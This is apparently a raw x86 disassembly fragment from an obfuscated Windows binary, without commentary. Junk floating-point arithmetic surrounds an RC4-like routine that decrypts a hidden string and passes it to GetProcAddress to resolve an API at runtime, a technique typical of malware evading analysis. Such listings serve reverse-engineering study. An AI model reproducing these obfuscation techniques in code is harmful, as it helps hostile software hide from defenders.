mulss xmm0, dword [ebp - 0x4454]
movss dword [ebp - 0x4d74], xmm0
movss xmm0, dword [ebp - 0x431c]
mulss xmm0, dword [ebp - 0x4454]
movss dword [ebp - 0x431c], xmm0
movss xmm0, dword [ebp - 0x4454]
comiss xmm0, dword [ebp - 0x431c]
jbe 0x48de1f
movss xmm0, dword [ebp - 0x4674]
divss xmm0, dword [ebp - 0x4d70]
movss dword [ebp - 0x4674], xmm0
movss xmm0, dword [ebp - 0x4674]
subss xmm0, dword [ebp - 0x4d70]
movss dword [ebp - 0x4674], xmm0
movss xmm0, dword [ebp - 0x4d70]
subss xmm0, dword [ebp - 0x4454]
movss dword [ebp - 0x4d70], xmm0
movss xmm0, dword [ebp - 0x4454]
mulss xmm0, dword [ebp - 0x431c]
movss dword [ebp - 0x4454], xmm0
movss xmm0, dword [ebp - 0x431c]
divss xmm0, dword [ebp - 0x4d74]
movss dword [ebp - 0x431c], xmm0
jmp 0x48dea9
movss xmm0, dword [ebp - 0x4674]
mulss xmm0, dword [ebp - 0x431c]
movss dword [ebp - 0x4674], xmm0
movss xmm0, dword [ebp - 0x4d74]
subss xmm0, dword [ebp - 0x4454]
movss dword [ebp - 0x4d74], xmm0
movss xmm0, dword [ebp - 0x431c]
addss xmm0, dword [ebp - 0x4d70]
movss dword [ebp - 0x431c], xmm0
mov edx, dword [ebp - 0x4074]
or edx, dword [ebp - 0x4078]
mov dword [ebp - 0x407c], edx
movss xmm0, dword [ebp - 0x4674]
addss xmm0, dword [ebp - 0x431c]
movss dword [ebp - 0x4674], xmm0
movss xmm0, dword [ebp - 0x4d74]
subss xmm0, dword [ebp - 0x4454]
movss dword [ebp - 0x4d74], xmm0
mov al, byte [ebp - 0x407c]
mov byte [ebp - 0x3397], al
movzx ecx, byte [ebp - 0x330d]
shl ecx, 0
lea edx, [ebp - 0x2260]
mov al, byte [ecx + edx]
mov byte [ebp - 0x3399], al
movzx ecx, byte [ebp - 0x327a]
shl ecx, 0
lea edx, [ebp - 0x2260]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x32ba]
add ecx, eax
mov byte [ebp - 0x32ba], cl
mov dl, byte [ebp - 0x327a]
add dl, 1
mov byte [ebp - 0x327a], dl
movzx eax, byte [ebp - 0x32ba]
shl eax, 0
lea ecx, [ebp - 0x2260]
movzx edx, byte [ebp - 0x330d]
shl edx, 0
lea esi, [ebp - 0x2260]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x32bb]
shl ecx, 0
lea edx, [ebp - 0x2260]
movzx eax, byte [ebp - 0x32ba]
shl eax, 0
lea esi, [ebp - 0x2260]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x327a]
shl edx, 0
lea eax, [ebp - 0x2260]
movzx ecx, byte [ebp - 0x32bb]
shl ecx, 0
lea esi, [ebp - 0x2260]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x327a]
shl eax, 0
lea ecx, [ebp - 0x2260]
mov dl, byte [ebp - 0x3399]
mov byte [eax + ecx], dl
movzx eax, byte [ebp - 0x3399]
shl eax, 0
lea ecx, [ebp - 0x2260]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x3398]
add eax, edx
mov byte [ebp - 0x3398], al
movzx ecx, byte [ebp - 0x3397]
movzx edx, byte [ebp - 0x32ba]
shl edx, 0
lea eax, [ebp - 0x2260]
movzx edx, byte [edx + eax]
movzx eax, byte [ebp - 0x327a]
shl eax, 0
lea esi, [ebp - 0x2260]
movzx eax, byte [eax + esi]
add edx, eax
and edx, 0xff
shl edx, 0
lea eax, [ebp - 0x2260]
movzx edx, byte [edx + eax]
xor ecx, edx
movzx eax, byte [ebp - 0x32bb]
shl eax, 0
lea edx, [ebp - 0x2260]
movzx eax, byte [eax + edx]
movzx edx, byte [ebp - 0x330d]
shl edx, 0
lea esi, [ebp - 0x2260]
movzx edx, byte [edx + esi]
add eax, edx
movzx edx, byte [ebp - 0x3398]
shl edx, 0
lea esi, [ebp - 0x2260]
movzx edx, byte [edx + esi]
add eax, edx
and eax, 0xff
shl eax, 0
lea edx, [ebp - 0x2260]
movzx eax, byte [eax + edx]
shl eax, 0
lea edx, [ebp - 0x2260]
movzx eax, byte [eax + edx]
xor ecx, eax
mov byte [ebp - 0x32bb], cl
mov cl, byte [ebp - 0x3397]
mov byte [ebp - 0x330d], cl
mov dl, byte [ebp - 0x32bb]
mov byte [ebp - 0x347d], dl
cmp dword [ebp - 0x3440], 0
jbe 0x48e097
mov eax, dword [ebp - 0x3440]
sub eax, 1
shl eax, 0
lea ecx, [ebp - 0x900]
mov dl, byte [ebp - 0x347d]
mov byte [eax + ecx], dl
jmp 0x48dbf7
mov eax, dword [ebp - 0x38ec]
add eax, 1
mov dword [ebp - 0x38ec], eax
mov ecx, dword [ebp - 0x3440]
add ecx, 1
mov dword [ebp - 0x3440], ecx
mov edx, dword [ebp - 0x38ec]
add edx, 1
mov dword [ebp - 0x38ec], edx
mov eax, dword [ebp - 0x3440]
shl eax, 1
mov dword [ebp - 0x406c], eax
mov ecx, dword [ebp - 0x406c]
shl ecx, 0
add ecx, dword [ebp - 0x4320]
movzx edx, byte [ecx]
mov dword [ebp - 0x3f48], edx
mov dword [ebp - 0x3f4c], 0xa2
mov eax, dword [ebp - 0x3440]
shl eax, 1
add eax, 1
mov dword [ebp - 0x4070], eax
mov ecx, dword [ebp - 0x4070]
shl ecx, 0
add ecx, dword [ebp - 0x4320]
movzx edx, byte [ecx]
mov dword [ebp - 0x3f50], edx
mov dword [ebp - 0x3f54], 0x77
mov eax, dword [ebp - 0x3f48]
sub eax, dword [ebp - 0x3f4c]
mov dword [ebp - 0x3f58], eax
mov ecx, dword [ebp - 0x3f50]
sub ecx, dword [ebp - 0x3f54]
mov dword [ebp - 0x3f5c], ecx
mov edx, dword [ebp - 0x3f58]
shl edx, 4
mov dword [ebp - 0x4074], edx
mov eax, dword [ebp - 0x3f5c]
mov dword [ebp - 0x4078], eax
mov ecx, dword [ebp - 0x4074]
or ecx, dword [ebp - 0x4078]
mov dword [ebp - 0x407c], ecx
mov dl, byte [ebp - 0x407c]
mov byte [ebp - 0x3397], dl
movzx eax, byte [ebp - 0x330d]
shl eax, 0
lea ecx, [ebp - 0x2260]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x3399], dl
movzx eax, byte [ebp - 0x327a]
shl eax, 0
lea ecx, [ebp - 0x2260]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x32ba]
add eax, edx
mov byte [ebp - 0x32ba], al
mov cl, byte [ebp - 0x327a]
add cl, 1
mov byte [ebp - 0x327a], cl
movzx edx, byte [ebp - 0x32ba]
shl edx, 0
lea eax, [ebp - 0x2260]
movzx ecx, byte [ebp - 0x330d]
shl ecx, 0
lea esi, [ebp - 0x2260]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x32bb]
shl eax, 0
lea ecx, [ebp - 0x2260]
movzx edx, byte [ebp - 0x32ba]
shl edx, 0
lea esi, [ebp - 0x2260]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x327a]
shl ecx, 0
lea edx, [ebp - 0x2260]
movzx eax, byte [ebp - 0x32bb]
shl eax, 0
lea esi, [ebp - 0x2260]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x327a]
shl edx, 0
lea eax, [ebp - 0x2260]
mov cl, byte [ebp - 0x3399]
mov byte [edx + eax], cl
movzx edx, byte [ebp - 0x3399]
shl edx, 0
lea eax, [ebp - 0x2260]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x3398]
add edx, ecx
mov byte [ebp - 0x3398], dl
movzx eax, byte [ebp - 0x3397]
movzx ecx, byte [ebp - 0x32ba]
shl ecx, 0
lea edx, [ebp - 0x2260]
movzx ecx, byte [ecx + edx]
movzx edx, byte [ebp - 0x327a]
shl edx, 0
lea esi, [ebp - 0x2260]
movzx edx, byte [edx + esi]
add ecx, edx
and ecx, 0xff
shl ecx, 0
lea edx, [ebp - 0x2260]
movzx ecx, byte [ecx + edx]
xor eax, ecx
movzx edx, byte [ebp - 0x32bb]
shl edx, 0
lea ecx, [ebp - 0x2260]
movzx edx, byte [edx + ecx]
movzx ecx, byte [ebp - 0x330d]
shl ecx, 0
lea esi, [ebp - 0x2260]
movzx ecx, byte [ecx + esi]
add edx, ecx
movzx ecx, byte [ebp - 0x3398]
shl ecx, 0
lea esi, [ebp - 0x2260]
movzx ecx, byte [ecx + esi]
add edx, ecx
and edx, 0xff
shl edx, 0
lea ecx, [ebp - 0x2260]
movzx edx, byte [edx + ecx]
shl edx, 0
lea ecx, [ebp - 0x2260]
movzx edx, byte [edx + ecx]
xor eax, edx
mov byte [ebp - 0x32bb], al
mov al, byte [ebp - 0x3397]
mov byte [ebp - 0x330d], al
mov cl, byte [ebp - 0x32bb]
mov byte [ebp - 0x347d], cl
cmp dword [ebp - 0x3440], 0
jbe 0x48e36c
mov edx, dword [ebp - 0x3440]
sub edx, 1
shl edx, 0
lea eax, [ebp - 0x900]
mov cl, byte [ebp - 0x347d]
mov byte [edx + eax], cl
mov edx, dword [ebp - 0x3440]
add edx, 1
mov dword [ebp - 0x3440], edx
mov eax, dword [ebp - 0x38ec]
add eax, 1
mov dword [ebp - 0x38ec], eax
mov ecx, dword [ebp - 0x3440]
shl ecx, 1
mov dword [ebp - 0x406c], ecx
mov edx, dword [ebp - 0x406c]
shl edx, 0
add edx, dword [ebp - 0x4320]
movzx eax, byte [edx]
mov dword [ebp - 0x3f48], eax
mov dword [ebp - 0x3f4c], 0xa2
mov ecx, dword [ebp - 0x3440]
shl ecx, 1
add ecx, 1
mov dword [ebp - 0x4070], ecx
mov edx, dword [ebp - 0x4070]
shl edx, 0
add edx, dword [ebp - 0x4320]
movzx eax, byte [edx]
mov dword [ebp - 0x3f50], eax
mov dword [ebp - 0x3f54], 0x77
mov ecx, dword [ebp - 0x3f48]
sub ecx, dword [ebp - 0x3f4c]
mov dword [ebp - 0x3f58], ecx
mov edx, dword [ebp - 0x3f50]
sub edx, dword [ebp - 0x3f54]
mov dword [ebp - 0x3f5c], edx
mov eax, dword [ebp - 0x3f58]
shl eax, 4
mov dword [ebp - 0x4074], eax
mov ecx, dword [ebp - 0x3f5c]
mov dword [ebp - 0x4078], ecx
mov edx, dword [ebp - 0x4074]
or edx, dword [ebp - 0x4078]
mov dword [ebp - 0x407c], edx
mov al, byte [ebp - 0x407c]
mov byte [ebp - 0x3397], al
movzx ecx, byte [ebp - 0x330d]
shl ecx, 0
lea edx, [ebp - 0x2260]
mov al, byte [ecx + edx]
mov byte [ebp - 0x3399], al
movzx ecx, byte [ebp - 0x327a]
shl ecx, 0
lea edx, [ebp - 0x2260]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x32ba]
add ecx, eax
mov byte [ebp - 0x32ba], cl
mov dl, byte [ebp - 0x327a]
add dl, 1
mov byte [ebp - 0x327a], dl
movzx eax, byte [ebp - 0x32ba]
shl eax, 0
lea ecx, [ebp - 0x2260]
movzx edx, byte [ebp - 0x330d]
shl edx, 0
lea esi, [ebp - 0x2260]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x32bb]
shl ecx, 0
lea edx, [ebp - 0x2260]
movzx eax, byte [ebp - 0x32ba]
shl eax, 0
lea esi, [ebp - 0x2260]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x327a]
shl edx, 0
lea eax, [ebp - 0x2260]
movzx ecx, byte [ebp - 0x32bb]
shl ecx, 0
lea esi, [ebp - 0x2260]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x327a]
shl eax, 0
lea ecx, [ebp - 0x2260]
mov dl, byte [ebp - 0x3399]
mov byte [eax + ecx], dl
movzx eax, byte [ebp - 0x3399]
shl eax, 0
lea ecx, [ebp - 0x2260]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x3398]
add eax, edx
mov byte [ebp - 0x3398], al
movzx ecx, byte [ebp - 0x3397]
movzx edx, byte [ebp - 0x32ba]
shl edx, 0
lea eax, [ebp - 0x2260]
movzx edx, byte [edx + eax]
movzx eax, byte [ebp - 0x327a]
shl eax, 0
lea esi, [ebp - 0x2260]
movzx eax, byte [eax + esi]
add edx, eax
and edx, 0xff
shl edx, 0
lea eax, [ebp - 0x2260]
movzx edx, byte [edx + eax]
xor ecx, edx
movzx eax, byte [ebp - 0x32bb]
shl eax, 0
lea edx, [ebp - 0x2260]
movzx eax, byte [eax + edx]
movzx edx, byte [ebp - 0x330d]
shl edx, 0
lea esi, [ebp - 0x2260]
movzx edx, byte [edx + esi]
add eax, edx
movzx edx, byte [ebp - 0x3398]
shl edx, 0
lea esi, [ebp - 0x2260]
movzx edx, byte [edx + esi]
add eax, edx
and eax, 0xff
shl eax, 0
lea edx, [ebp - 0x2260]
movzx eax, byte [eax + edx]
shl eax, 0
lea edx, [ebp - 0x2260]
movzx eax, byte [eax + edx]
xor ecx, eax
mov byte [ebp - 0x32bb], cl
mov cl, byte [ebp - 0x3397]
mov byte [ebp - 0x330d], cl
mov dl, byte [ebp - 0x32bb]
mov byte [ebp - 0x347d], dl
cmp dword [ebp - 0x3440], 0
jbe 0x48e62c
mov eax, dword [ebp - 0x3440]
sub eax, 1
shl eax, 0
lea ecx, [ebp - 0x900]
mov dl, byte [ebp - 0x347d]
mov byte [eax + ecx], dl
mov eax, dword [ebp - 0x3440]
add eax, 1
mov dword [ebp - 0x3440], eax
mov ecx, dword [ebp - 0x38ec]
add ecx, 1
mov dword [ebp - 0x38ec], ecx
mov edx, dword [ebp - 0x3440]
shl edx, 1
mov dword [ebp - 0x406c], edx
mov eax, dword [ebp - 0x406c]
shl eax, 0
add eax, dword [ebp - 0x4320]
movzx ecx, byte [eax]
mov dword [ebp - 0x3f48], ecx
mov dword [ebp - 0x3f4c], 0xa2
mov edx, dword [ebp - 0x3440]
shl edx, 1
add edx, 1
mov dword [ebp - 0x4070], edx
mov eax, dword [ebp - 0x4070]
shl eax, 0
add eax, dword [ebp - 0x4320]
movzx ecx, byte [eax]
mov dword [ebp - 0x3f50], ecx
mov dword [ebp - 0x3f54], 0x77
mov edx, dword [ebp - 0x3f48]
sub edx, dword [ebp - 0x3f4c]
mov dword [ebp - 0x3f58], edx
mov eax, dword [ebp - 0x3f50]
sub eax, dword [ebp - 0x3f54]
mov dword [ebp - 0x3f5c], eax
mov ecx, dword [ebp - 0x3f58]
shl ecx, 4
mov dword [ebp - 0x4074], ecx
mov edx, dword [ebp - 0x3f5c]
mov dword [ebp - 0x4078], edx
mov eax, dword [ebp - 0x4074]
or eax, dword [ebp - 0x4078]
mov dword [ebp - 0x407c], eax
mov cl, byte [ebp - 0x407c]
mov byte [ebp - 0x3397], cl
movzx edx, byte [ebp - 0x330d]
shl edx, 0
lea eax, [ebp - 0x2260]
mov cl, byte [edx + eax]
mov byte [ebp - 0x3399], cl
movzx edx, byte [ebp - 0x327a]
shl edx, 0
lea eax, [ebp - 0x2260]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x32ba]
add edx, ecx
mov byte [ebp - 0x32ba], dl
mov al, byte [ebp - 0x327a]
add al, 1
mov byte [ebp - 0x327a], al
movzx ecx, byte [ebp - 0x32ba]
shl ecx, 0
lea edx, [ebp - 0x2260]
movzx eax, byte [ebp - 0x330d]
shl eax, 0
lea esi, [ebp - 0x2260]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x32bb]
shl edx, 0
lea eax, [ebp - 0x2260]
movzx ecx, byte [ebp - 0x32ba]
shl ecx, 0
lea esi, [ebp - 0x2260]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x327a]
shl eax, 0
lea ecx, [ebp - 0x2260]
movzx edx, byte [ebp - 0x32bb]
shl edx, 0
lea esi, [ebp - 0x2260]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x327a]
shl ecx, 0
lea edx, [ebp - 0x2260]
mov al, byte [ebp - 0x3399]
mov byte [ecx + edx], al
movzx ecx, byte [ebp - 0x3399]
shl ecx, 0
lea edx, [ebp - 0x2260]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x3398]
add ecx, eax
mov byte [ebp - 0x3398], cl
movzx edx, byte [ebp - 0x3397]
movzx eax, byte [ebp - 0x32ba]
shl eax, 0
lea ecx, [ebp - 0x2260]
movzx eax, byte [eax + ecx]
movzx ecx, byte [ebp - 0x327a]
shl ecx, 0
lea esi, [ebp - 0x2260]
movzx ecx, byte [ecx + esi]
add eax, ecx
and eax, 0xff
shl eax, 0
lea ecx, [ebp - 0x2260]
movzx eax, byte [eax + ecx]
xor edx, eax
movzx ecx, byte [ebp - 0x32bb]
shl ecx, 0
lea eax, [ebp - 0x2260]
movzx ecx, byte [ecx + eax]
movzx eax, byte [ebp - 0x330d]
shl eax, 0
lea esi, [ebp - 0x2260]
movzx eax, byte [eax + esi]
add ecx, eax
movzx eax, byte [ebp - 0x3398]
shl eax, 0
lea esi, [ebp - 0x2260]
movzx eax, byte [eax + esi]
add ecx, eax
and ecx, 0xff
shl ecx, 0
lea eax, [ebp - 0x2260]
movzx ecx, byte [ecx + eax]
shl ecx, 0
lea eax, [ebp - 0x2260]
movzx ecx, byte [ecx + eax]
xor edx, ecx
mov byte [ebp - 0x32bb], dl
mov dl, byte [ebp - 0x3397]
mov byte [ebp - 0x330d], dl
mov al, byte [ebp - 0x32bb]
mov byte [ebp - 0x347d], al
cmp dword [ebp - 0x3440], 0
jbe 0x48e8eb
mov ecx, dword [ebp - 0x3440]
sub ecx, 1
shl ecx, 0
lea edx, [ebp - 0x900]
mov al, byte [ebp - 0x347d]
mov byte [ecx + edx], al
mov ecx, dword [ebp - 0x38ec]
add ecx, 4
mov dword [ebp - 0x38ec], ecx
mov edx, dword [ebp - 0x3440]
add edx, 1
mov dword [ebp - 0x4ae0], edx
jmp 0x48e91a
mov eax, dword [ebp - 0x4ae0]
add eax, 1
mov dword [ebp - 0x4ae0], eax
mov ecx, dword [ebp - 0x4ae0]
cmp ecx, dword [ebp - 0x38ec]
jge 0x48ef2a
mov edx, dword [ebp - 0x3440]
add edx, 1
mov dword [ebp - 0x3440], edx
movsd xmm0, qword [0x9d4bb0]
movsd qword [ebp - 0x5784], xmm0
movsd xmm0, qword [0x9d4998]
movsd qword [ebp - 0x577c], xmm0
movsd xmm0, qword [0x9d4710]
movsd qword [ebp - 0x513c], xmm0
movsd xmm0, qword [0x9d44a8]
movsd qword [ebp - 0x5f24], xmm0
movsd xmm0, qword [0x9d4218]
movsd qword [ebp - 0x59d0], xmm0
movsd xmm0, qword [0x9d3f58]
movsd qword [ebp - 0x53ac], xmm0
movsd xmm0, qword [ebp - 0x59d0]
subsd xmm0, qword [ebp - 0x53ac]
movsd qword [ebp - 0x59d0], xmm0
movsd xmm0, qword [ebp - 0x5784]
addsd xmm0, qword [ebp - 0x53ac]
movsd qword [ebp - 0x5784], xmm0
movsd xmm0, qword [ebp - 0x5784]
addsd xmm0, qword [ebp - 0x53ac]
movsd qword [ebp - 0x5784], xmm0
movsd xmm0, qword [ebp - 0x577c]
subsd xmm0, qword [ebp - 0x53ac]
movsd qword [ebp - 0x577c], xmm0
movsd xmm0, qword [ebp - 0x513c]
addsd xmm0, qword [ebp - 0x53ac]
movsd qword [ebp - 0x513c], xmm0
movsd xmm0, qword [ebp - 0x513c]
addsd xmm0, qword [ebp - 0x53ac]
movsd qword [ebp - 0x513c], xmm0
movsd xmm0, qword [ebp - 0x59d0]
comisd xmm0, xmmword [ebp - 0x5784]
jbe 0x48ead6
movsd xmm0, qword [ebp - 0x577c]
subsd xmm0, qword [ebp - 0x5f24]
movsd qword [ebp - 0x577c], xmm0
movsd xmm0, qword [ebp - 0x5784]
mulsd xmm0, qword [ebp - 0x513c]
movsd qword [ebp - 0x5784], xmm0
movsd xmm0, qword [ebp - 0x513c]
addsd xmm0, qword [ebp - 0x59d0]
movsd qword [ebp - 0x513c], xmm0
movsd xmm0, qword [ebp - 0x513c]
subsd xmm0, qword [ebp - 0x59d0]
movsd qword [ebp - 0x513c], xmm0
movsd xmm0, qword [ebp - 0x513c]
divsd xmm0, qword [ebp - 0x59d0]
movsd qword [ebp - 0x513c], xmm0
movsd xmm0, qword [ebp - 0x59d0]
mulsd xmm0, qword [ebp - 0x5784]
movsd qword [ebp - 0x59d0], xmm0
jmp 0x48eb74
movsd xmm0, qword [ebp - 0x53ac]
mulsd xmm0, qword [ebp - 0x577c]
movsd qword [ebp - 0x53ac], xmm0
movsd xmm0, qword [ebp - 0x5f24]
mulsd xmm0, qword [ebp - 0x53ac]
movsd qword [ebp - 0x5f24], xmm0
mov eax, dword [ebp - 0x3440]
shl eax, 1
mov dword [ebp - 0x406c], eax
movsd xmm0, qword [ebp - 0x577c]
addsd xmm0, qword [ebp - 0x5f24]
movsd qword [ebp - 0x577c], xmm0
movsd xmm0, qword [ebp - 0x53ac]
subsd xmm0, qword [ebp - 0x577c]
movsd qword [ebp - 0x53ac], xmm0
movsd xmm0, qword [ebp - 0x577c]
subsd xmm0, qword [ebp - 0x5f24]
movsd qword [ebp - 0x577c], xmm0
movsd xmm0, qword [ebp - 0x5784]
subsd xmm0, qword [ebp - 0x513c]
movsd qword [ebp - 0x5784], xmm0
mov ecx, dword [ebp - 0x406c]
shl ecx, 0
add ecx, dword [ebp - 0x4320]
movzx edx, byte [ecx]
mov dword [ebp - 0x3f48], edx
mov dword [ebp - 0x3f4c], 0xa2
movsd xmm0, qword [0x9d4e18]
movsd qword [ebp - 0x59c8], xmm0
movsd xmm0, qword [0x9d4a90]
movsd qword [ebp - 0x5144], xmm0
movsd xmm0, qword [0x9d43b8]
movsd qword [ebp - 0x58ac], xmm0
movsd xmm0, qword [ebp - 0x59c8]
mulsd xmm0, qword [ebp - 0x58ac]
movsd qword [ebp - 0x59c8], xmm0
movsd xmm0, qword [ebp - 0x5144]
subsd xmm0, qword [ebp - 0x58ac]
movsd qword [ebp - 0x5144], xmm0
movsd xmm0, qword [ebp - 0x5144]
addsd xmm0, qword [ebp - 0x58ac]
movsd qword [ebp - 0x5144], xmm0
movsd xmm0, qword [ebp - 0x59c8]
comisd xmm0, xmmword [ebp - 0x58ac]
jbe 0x48ec7b
movsd xmm0, qword [ebp - 0x59c8]
addsd xmm0, qword [ebp - 0x5144]
movsd qword [ebp - 0x59c8], xmm0
movsd xmm0, qword [ebp - 0x5144]
subsd xmm0, qword [ebp - 0x58ac]
movsd qword [ebp - 0x5144], xmm0
mov eax, dword [ebp - 0x3440]
shl eax, 1
add eax, 1
mov dword [ebp - 0x4070], eax
movsd xmm0, qword [ebp - 0x58ac]
mulsd xmm0, qword [ebp - 0x59c8]
movsd qword [ebp - 0x58ac], xmm0
jmp 0x48ecc3
movsd xmm0, qword [ebp - 0x5144]
subsd xmm0, qword [ebp - 0x58ac]
movsd qword [ebp - 0x5144], xmm0
movsd xmm0, qword [ebp - 0x59c8]
addsd xmm0, qword [ebp - 0x5144]
movsd qword [ebp - 0x59c8], xmm0
movsd xmm0, qword [ebp - 0x5144]
addsd xmm0, qword [ebp - 0x58ac]
movsd qword [ebp - 0x5144], xmm0
mov ecx, dword [ebp - 0x4070]
shl ecx, 0
add ecx, dword [ebp - 0x4320]
movzx edx, byte [ecx]
mov dword [ebp - 0x3f50], edx
mov dword [ebp - 0x3f54], 0x77
mov eax, dword [ebp - 0x3f48]
sub eax, dword [ebp - 0x3f4c]
mov dword [ebp - 0x3f58], eax
mov ecx, dword [ebp - 0x3f50]
sub ecx, dword [ebp - 0x3f54]
mov dword [ebp - 0x3f5c], ecx
mov edx, dword [ebp - 0x3f58]
shl edx, 4
mov dword [ebp - 0x4074], edx
mov eax, dword [ebp - 0x3f5c]
mov dword [ebp - 0x4078], eax
mov ecx, dword [ebp - 0x4074]
or ecx, dword [ebp - 0x4078]
mov dword [ebp - 0x407c], ecx
mov dl, byte [ebp - 0x407c]
mov byte [ebp - 0x3397], dl
movzx eax, byte [ebp - 0x330d]
shl eax, 0
lea ecx, [ebp - 0x2260]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x3399], dl
movzx eax, byte [ebp - 0x327a]
shl eax, 0
lea ecx, [ebp - 0x2260]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x32ba]
add eax, edx
mov byte [ebp - 0x32ba], al
mov cl, byte [ebp - 0x327a]
add cl, 1
mov byte [ebp - 0x327a], cl
movzx edx, byte [ebp - 0x32ba]
shl edx, 0
lea eax, [ebp - 0x2260]
movzx ecx, byte [ebp - 0x330d]
shl ecx, 0
lea esi, [ebp - 0x2260]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x32bb]
shl eax, 0
lea ecx, [ebp - 0x2260]
movzx edx, byte [ebp - 0x32ba]
shl edx, 0
lea esi, [ebp - 0x2260]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x327a]
shl ecx, 0
lea edx, [ebp - 0x2260]
movzx eax, byte [ebp - 0x32bb]
shl eax, 0
lea esi, [ebp - 0x2260]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x327a]
shl edx, 0
lea eax, [ebp - 0x2260]
mov cl, byte [ebp - 0x3399]
mov byte [edx + eax], cl
movzx edx, byte [ebp - 0x3399]
shl edx, 0
lea eax, [ebp - 0x2260]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x3398]
add edx, ecx
mov byte [ebp - 0x3398], dl
movzx eax, byte [ebp - 0x3397]
movzx ecx, byte [ebp - 0x32ba]
shl ecx, 0
lea edx, [ebp - 0x2260]
movzx ecx, byte [ecx + edx]
movzx edx, byte [ebp - 0x327a]
shl edx, 0
lea esi, [ebp - 0x2260]
movzx edx, byte [edx + esi]
add ecx, edx
and ecx, 0xff
shl ecx, 0
lea edx, [ebp - 0x2260]
movzx ecx, byte [ecx + edx]
xor eax, ecx
movzx edx, byte [ebp - 0x32bb]
shl edx, 0
lea ecx, [ebp - 0x2260]
movzx edx, byte [edx + ecx]
movzx ecx, byte [ebp - 0x330d]
shl ecx, 0
lea esi, [ebp - 0x2260]
movzx ecx, byte [ecx + esi]
add edx, ecx
movzx ecx, byte [ebp - 0x3398]
shl ecx, 0
lea esi, [ebp - 0x2260]
movzx ecx, byte [ecx + esi]
add edx, ecx
and edx, 0xff
shl edx, 0
lea ecx, [ebp - 0x2260]
movzx edx, byte [edx + ecx]
shl edx, 0
lea ecx, [ebp - 0x2260]
movzx edx, byte [edx + ecx]
xor eax, edx
mov byte [ebp - 0x32bb], al
mov al, byte [ebp - 0x3397]
mov byte [ebp - 0x330d], al
mov cl, byte [ebp - 0x32bb]
mov byte [ebp - 0x347d], cl
cmp dword [ebp - 0x3440], 0
jbe 0x48ef25
mov edx, dword [ebp - 0x3440]
sub edx, 1
shl edx, 0
lea eax, [ebp - 0x900]
mov cl, byte [ebp - 0x347d]
mov byte [edx + eax], cl
jmp 0x48e90b
mov edx, dword [ebp - 0x38ec]
add edx, 1
mov dword [ebp - 0x38ec], edx
mov eax, 1
imul ecx, eax, 0xb
mov dword [ebp - 0x5da4], ecx
cmp dword [ebp - 0x5da4], 0xc
jae 0x48ef52
jmp 0x48ef57
call fcn.009b1617
lea edx, [ebp - 0x900]
add edx, dword [ebp - 0x5da4]
mov byte [edx], 0
jmp 0x48efb9
mov dword [ebp - 0x3440], 0
jmp 0x48ef83
mov eax, dword [ebp - 0x3440]
add eax, 1
mov dword [ebp - 0x3440], eax
cmp dword [ebp - 0x3440], 0xc
jae 0x48efb9
mov ecx, dword [ebp - 0x3440]
mov dword [ebp - 0x5da0], ecx
cmp dword [ebp - 0x5da0], 0xc
jae 0x48efa3
jmp 0x48efa8
call fcn.009b1617
lea edx, [ebp - 0x900]
add edx, dword [ebp - 0x5da0]
mov byte [edx], 0
jmp 0x48ef74
lea eax, [ebp - 0x900]
push eax
mov ecx, dword [ebp - 0x348c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0xa00bb4], eax
xorps xmm0, xmm0
movsd qword [ebp - 0x53b4], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x514c], xmm0
mov dword [ebp - 0x33c8], 0
mov dword [ebp - 0x4adc], 0
mov dword [ebp - 0x5850], 0
mov dword [ebp - 0x5608], 1
mov dword [ebp - 0x4678], 0
mov dword [ebp - 0x5b4c], 0
mov dword [ebp - 0x3750], 0
mov dword [ebp - 0x3e34], 0
mov dword [ebp - 0x3cc8], 0
mov dword [ebp - 0x3ccc], 0
mov dword [ebp - 0x3e38], 0
mov dword [ebp - 0x3cd0], 0
mov dword [ebp - 0x3cd4], 0
mov dword [ebp - 0x3cd8], 0
mov dword [ebp - 0x3cdc], 0
mov dword [ebp - 0x3e3c], 0
mov dword [ebp - 0x3e40], 0
mov dword [ebp - 0x3e44], 0
mov dword [ebp - 0x4ad8], 0
mov byte [ebp - 0x325b], 0
mov byte [ebp - 0x3293], 0
mov byte [ebp - 0x332f], 0
mov byte [ebp - 0x3294], 0
mov byte [ebp - 0x32d8], 0
mov byte [ebp - 0x3410], 0
mov byte [ebp - 0x3da3], 0
mov byte [ebp - 0x3338], 0
mov byte [ebp - 0x332e], 0
mov byte [ebp - 0x345c], 0
xorps xmm0, xmm0
movsd qword [ebp - 0x53b4], xmm0
